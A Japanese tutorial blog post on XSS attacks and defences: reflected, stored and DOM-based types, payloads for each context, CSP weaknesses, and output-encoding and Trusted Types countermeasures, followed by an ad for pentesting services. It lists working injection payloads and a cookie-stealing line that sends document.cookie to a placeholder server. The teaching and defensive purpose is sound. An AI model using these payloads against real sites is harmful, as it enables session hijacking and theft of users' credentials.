Lompat ke konten utama
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
XSS
脆弱性診断
Webセキュリティ

XSS攻撃の完全攻略【2026】反射・蓄積・DOM型/コンテキスト別ペイロード/CSP回避 — 公式ドキュメント忠実版

クロスサイトスクリプティング(XSS)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。反射型・蓄積型・DOM型の違いと検出、HTML/属性/JavaScript/URLの各コンテキストでのペイロードの作り分け、source→sinkで追うDOM型XSS、CSP(Content Security Policy)の役割と回避の考え方、そして文脈別の出力エンコードとTrusted Typesによる根本対策までを、自分のラボ限定の実例で解説します。

Published
Reading time
7 min read
Author
友田 陽大
Bagikan

XSS(クロスサイトスクリプティング)は、被害者のブラウザで攻撃者のJavaScriptを実行させる脆弱性です。セッションの乗っ取り、資格情報の窃取、なりすまし操作——PortSwigger が言う通り「ユーザーとアプリの相互作用を丸ごと侵害」できます。本記事は、その攻撃手法を公式に忠実に、手を動かせる粒度で解説します。

絶対の前提: 全ペイロードは 合法ラボ または許可スコープでのみ。他人のサイトでの「ちょっと試す」も無許可なら違法になり得ます(→ 法律ガイド)。攻撃クラスの地図は ピラー を参照。


1. XSSの本質 — 出力コンテキストの無視

XSSは「入力の問題」だと誤解されがちですが、正確には出力の問題です。同じ "><script> でも、どこに出力されるかでエスケープ要件が変わります。

<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>

<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">

<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>

検出の第一歩は、xss1234 のような一意な文字列を入れて、レスポンスのどこに・どうエスケープされて出るかを確認すること。そこから文脈に応じた「ブレイクアウト」を組み立てます。


2. 反射型XSS(Reflected)

入力がそのリクエストのレスポンスに即座に反射されるケース。攻撃者は細工したURLを被害者に踏ませます。

# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>

実務では alert() ではなく影響の実証まで示します(PoC)。例えばセッションCookieを攻撃者サーバーへ送る——ただしこれは自分のlab/許可スコープでのみ

<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>

3. 蓄積型XSS(Stored)— 最も影響が大きい

入力がDBに保存され、後で他のユーザーに表示されるときに発火します。コメント欄・プロフィール・商品レビューが定番の入口。

# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>

反射型は「踏ませる」必要があるが、蓄積型は「見た全員」に発火します。管理画面に保存されれば、管理者のセッションを奪える。影響度が段違いなので、保存される全入力(特に管理者が見る画面)を必ずテストします。


4. DOM型XSS(DOM-based)— source から sink へ

サーバーを介さず、クライアントのJavaScriptが危険な処理をすることで起きます。データの流れ(source → sink)で追うのが鉄則です。

// 脆弱な例:URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1);        // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q;  // sink: HTMLとして解釈される
# 攻撃URL(# 以降はサーバーに送られず、クライアントだけで処理される)
https://lab.example/#<img src=x onerror=alert(document.domain)>
source(入力源)sink(危険な出力先)
location.hash / search / hrefinnerHTML / outerHTML
document.referrerdocument.write()
postMessage のdataeval() / Function()
localStoragejQuery $(...).html()

DOM型はサーバーのレスポンスに痕跡が出ないため、Burpのレスポンス検査だけでは見つかりません。Burpの DOM Invader のような、ブラウザ内でsource→sinkを追う仕組みが有効です。


5. コンテキスト別ペイロードの作り分け

「同じペイロードはどこでも効く」は誤りです。文脈に応じてブレイクアウトを設計します。

<!-- 属性値コンテキスト:属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="

<!-- JS文字列コンテキスト:文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'

<!-- HTMLタグが除去される環境:タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>

<script> がフィルタされても onerror/onload/ontoggle などのイベントハンドラで発火できる——だから「<script>だけ消す」ブラックリストは不完全だとわかります。PortSwigger の XSS cheat sheet が網羅的です。


6. CSP(Content Security Policy)— 最後の砦と、その回避

CSPは「どこからスクリプトを読み込み・実行してよいか」をブラウザに宣言する多層防御です。XSSを完全には防げませんが、被害を大幅に緩和します。

# 強いCSPの例:nonce + strict-dynamic(インラインも外部も原則禁止)
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'

逆に、弱いCSPは回避されます。代表的な穴:

  • 'unsafe-inline' を許可 → インラインスクリプトが通り、CSPがほぼ無意味化。
  • 緩いホスト許可(例:CDN全体やJSONPを返すドメイン)→ そこ経由でスクリプト実行。
  • base-uri 未設定 → <base> 注入で相対URLの読み込み先を乗っ取られる。

設計の教訓: CSPはnonceベース + strict-dynamicで組み、unsafe-inlineを使わない。Next.jsでの実装(middlewareでnonce発行)は セキュリティヘッダ/CSP実装ガイド で詳説しています。CSPは入力対策の代替ではなく、入力対策が破れたときの保険です。


7. 【守る側】根本対策 — 文脈別の出力エンコード

PortSwigger と OWASP XSS Prevention の結論は一致します。**「出力する文脈に応じた正しいエンコード」**が本筋です。

// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる(安全)
}

// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ(DOMPurify等)を通し、監査対象にする
function RichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

設計原則を整理します。

  • HTML本文 → HTMLエンティティエンコード(<&lt;)。フレームワークの自動補間に任せる。
  • 属性値 → 属性コンテキスト用エンコード + 必ずクオートで囲む。
  • JavaScript → ユーザー入力を <script> 内に直接書かない。JSON.stringify 経由でデータ層に分離。
  • DOM操作innerHTML を避け textContent を使う。やむを得ず使うなら Trusted Types を導入。
  • URLjavascript: スキームを弾き、encodeURIComponent で。
  • 多層防御 → nonceベースCSP・HttpOnly Cookie(JSからセッションを読めなくする)。

Next.js × Supabase 環境での DOM XSS・dangerouslySetInnerHTML の具体的な検出と対策は 専用ガイド にまとめています。


8. まとめ

  • 本質は出力コンテキスト:同じ入力でもHTML本文/属性/JS/URLでエスケープ要件が違う。
  • 3類型:反射(踏ませる)・蓄積(見た全員・最大影響)・DOM(source→sink)。蓄積とDOMを見落とさない。
  • ブラックリストは破れる<script>を消してもonerror等で発火。
  • CSPは保険:nonce + strict-dynamic で組む。unsafe-inlineは禁。
  • 根本対策は文脈別エンコード:フレームワークの自動エスケープを外さない。innerHTMLよりtextContent

次は、サーバー自身を踏み台にする SSRF攻撃の完全攻略 へ。


参考(公式一次情報)

友田

友田 陽大

Pengembang produk peraih Penghargaan Menteri (METI). Dengan TypeScript + Python + AWS, saya mengerjakan SaaS, transformasi digital industri, dan AI generatif (RAG) siap produksi secara menyeluruh — dari perumusan kebutuhan hingga infrastruktur dan operasional, seorang diri.

What if this attack were reproduced on your app?

Web-app vulnerability assessment & penetration testing

I actually reproduce and assess the SQLi, XSS, SSRF, JWT, auth, and SSTI attacks covered here on your app, and take it through from design to fix. Only those who know the attacker's moves can preempt where it breaks at the design stage. You're welcome to visualize the current state with the free OSS first.

Tersedia untuk pekerjaan berbasis proyek maupun sebagai penasihat teknis. Mulailah dengan konsultasi gratis 30 menit.

最短ルート:カレンダーから直接予約

相談内容が固まっている方は、フォーム送信よりその場で日程を確定する方がスムーズです。下記から空き時間をお選びください。

  • 30分のオンライン無料相談
  • Google Meet / Zoom / Microsoft Teams
  • NDA 商談前締結可・無理な営業はいたしません
無料相談の空き枠を予約する

Layak dibaca juga